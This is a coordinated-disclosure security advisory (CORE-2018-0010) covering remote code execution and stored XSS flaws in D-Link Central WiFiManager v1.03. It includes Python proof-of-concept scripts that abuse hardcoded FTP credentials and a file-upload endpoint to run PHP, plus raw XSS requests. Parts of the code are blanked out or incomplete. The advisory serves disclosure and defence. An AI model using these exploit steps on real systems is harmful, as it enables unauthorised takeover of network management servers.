1. Advisory Information

Title: D-Link Central WiFiManager Software Controller Multiple Vulnerabilities
Advisory ID: CORE-2018-0010
Advisory URL: http://www.coresecurity.com/advisories/d-link-central-wifimanager-software-controller-multiple-vulnerabilities
Date published: 2018-10-04
Date of last update: 2018-10-04
Vendors contacted: D-Link
Release mode: Coordinated release

2. Vulnerability Information

Class: Unrestricted Upload of File with Dangerous Type [CWE-434], Improper Authorization [CWE-285], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-17440, CVE-2018-17442, CVE-2018-17443, CVE-2018-17441


3. Vulnerability Description

D-Link's website states that:

[1] Central WiFiManager Software Controller helps network administrators streamline their wireless access point (AP) management workflow. Central WiFiManager is an innovative approach to the more traditional hardware-based multiple access point management system. It uses a centralized server to both remotely manage and monitor wireless APs on a network.

Vulnerabilities were found in the Central WiFiManager Software Controller, allowing unauthenticated and authenticated file upload with dangerous type that could lead to remote code execution with system permissions. Also, two stored Cross Site Scripting vulnerabilities were found.

4. Vulnerable Packages

  • Central WifiManager v1.03

Other products and versions might be affected, but they were not tested.

5. Vendor Information, Solutions and Workarounds

D-Link released the following Beta version that addresses the reported vulnerabilities:

  • Central WifiManager v 1.03r0100-Beta1

In addition, D-Link published a security note in: https://securityadvisories.dlink.com/announcement/publication.aspx?name…

6. Credits

These vulnerabilities were discovered and researched by Julian Muñoz from Core Security Consulting Services. The publication of this advisory was coordinated by Leandro Cuozzo from Core Advisories Team.


7. Technical Description / Proof of Concept Code

D-Link Central WiFiManager Software Controller exposes an FTP server that serves by default in port 9000 and has hardcoded credentials (admin, admin). Taking advantage of this fact, we will upload a PHP file in the '/web/public' directory and then, by requesting this file, will be able to execute arbitrary code on the target system (shown in 7.1).

On 7.2 we show a similar attack to but in this case with an authenticated user in the web application. The application has a functionality to upload a .rar file used for the captive portal displayed by the Access Points. We will craft a .rar with a PHP file that we will end up executing in the context of the web application. When the .rar is uploaded is stored in the path "\web\captivalportal" in a folder with a timestamp created by the PHP time() function. In order to know what is the web server's time we request an information file that contains the time we are looking for. After we have the server's time we upload the .rar, calculate the proper epoch and request the appropriate path increasing this epoch by one until we hit the correct one.

Finally, we discovered two Cross-Site Scripting, one on the update site functionality, in the 'sitename' parameter (7.3) and the other one on the creation of a local user in the 'username' parameter (7.4).

7.1. Unauthenticated Remote Code Execution by Unrestricted Upload of File with Dangerous Type

[CVE-2018-17440] The web application starts an FTP server running on the port 9000 by default with admin/admin credentials and do not show the option to change it, so in this POC we establish a connection with the server and upload a PHP file. Since the application do not restrict unauthenticated users to request any file in the web root, we later request the uploaded file to achieve remote code execution.

      import requests
      from ftplib import FTP

      #stablish connection with FTP server
      host_ip = ""
      ftp = FTP()
      ftp.connect(host=host_ip, port=9000)
      ftp.login("admin", "admin")
      data = []

      #create PHP poc file
      poc_php_file = open("poc.php", "w+")

      #upload PHP poc file
      php_file = open("poc.php", "rb")
      ftp.storbinary("STOR write_file.php", php_file)

      for line in data:
          print "-", line

      session = requests.Session()
      session.trust_env = False

      #get the uploaded file for remote code execution 
      get_uploaded_file = session.get('https: //', verify=False)

      print get_uploaded_file.text

7.2. Authenticated Remote Code Execution by Unrestricted Upload of File with Dangerous Type

[CVE-2018-17442] In this case we make a file upload using the functionality given by the onUploadLogPic endpoint, that will take a .rar file, decompress it and store it in a folder named after the PHP time() function. Our goal is first obtain the server's time, upload a .rar with our PHP file, calculate the proper epoch and iterate increasing it until we hit the proper one and remote code execution is achieved.

        import re
        import time
        import requests
        import datetime
        import tarfile

        def parse_to_datetime(date_string):
            date_list = date_string.split("-")
            td = date_list[2][2:].split(":")
            return datetime.datetime(int(date_list[0]), int(date_list[1]), int(date_list[2][:2]),int(td[0]), int(td[1]), int(td[2]))

        session = requests.Session()
        session.trust_env = False
        php_session_id = "96sml0e9soke02k6d672oumqq4" #example (insert here the proper session id)
        cookie = {'PHPSESSID': php_session_id}

        #create tar file to upload.
        poc_php_file = open("poc.php", "w+")

        poc_tar_file = tarfile.open("poc_tar_file.tar", mode="w")

        #get server datetime.
        get_server_time_from_requested_file = session.get('https: //',
                                                          cookies=cookie, verify=False)
        date = re.search("Date(.*)\d", get_server_time_from_requested_file.text).group().replace('DateTime ', '')
        #generate epoch from server's date
        epoch = int(time.mktime(parse_to_datetime(date).timetuple()))

        #upload attack PHP file.
        attack_tar_file = "poc_tar_file.tar"
        tar_file = {'stylename': 'attack', 'logfile': open(attack_tar_file, 'rb')}
        restore_backup_response = session.post('https: //',
                                               cookies=cookie, verify=False)

        for i in range(0,20):
            #get the uploaded file named after time epoch, returned by PHP time() function.
            filename = str(epoch) + "/" + "poc.php"
            get_uploaded_file = session.get('https: //' %filename, verify=False)
            if get_uploaded_file.status_code == 200:
                print "Remote Code Execution Achived"
                print get_uploaded_file.text
            epoch += 1

7.3. Cross-Site Scripting in the application site name parameter

[CVE-2018-17443] The 'sitename' parameter of the UpdateSite endpoint is vulnerable to a stored Cross Site Scripting:

The following is a proof of concept to demonstrate the vulnerability:

        POST /index.php/Config/UpdateSite HTTP/1.1
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        Referer: https: //
        Cookie: Test_showmessage=false; Test_tableStyle=1; think_language=en-US;
        Connection: close
        Upgrade-Insecure-Requests: 1
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 66


7.4. Cross-Site Scripting in the creation of a new user

[CVE-2018-17441] The 'username' parameter of the addUser endpoint is vulnerable to a stored Cross Site Scripting.

The following is a proof of concept to demonstrate the vulnerability:

        POST /index.php/System/addUser HTTP/1.1
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
        Accept: */*
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        Referer: https://
        Content-Type: application/x-www-form-urlencoded;
        Content-Length: 96
        Cookie: Test_showmessage=false; Test_tableStyle=1; think_language=en-US;
        Connection: close



8. Report Timeline

  • 2018-06-04: Core Security sent an initial notification to D-Link, including a draft advisory.
  • 2018-06-06: D-Link confirmed the reception of the advisory and informed they will have an initial response on 06/08.
  • 2018-06-08: D-Link informed that they would provide a schedule for the fixes on 06/13.
  • 2018-06-08: Core Security thanked the update.
  • 2018-06-14: D-Link informed its plan of remediation and notified Core Security that the fixed version will be available on 08/31.
  • 2018-06-15: Core Security thanked the update and proposed to keep in regular contact until this tentative release date.
  • 2018-07-23: Core Security requested a status update.
  • 2018-07-25: D-Link answered saying that they are still targeting 08/31 as the release date.
  • 2018-08-24: Core Security requested a new status update and a solidified release date for the fixed version.
  • 2018-08-28: D-Link sent a beta version for test.
  • 2018-08-30: Core Security tested the beta version and requested D-Link to coordinate a release date.
  • 2018-09-21: D-Link informed that they were planning a security announcement and they were ready to schedule a disclosure date.
  • 2018-09-24: Core Security thanked the update and proposed October 4th as the publication date.
  • 2018-10-04: Advisory CORE-2018-0010 published.

9. References

[1] http://us.dlink.com/products/business-solutions/central-wifimanager-software-controller/.

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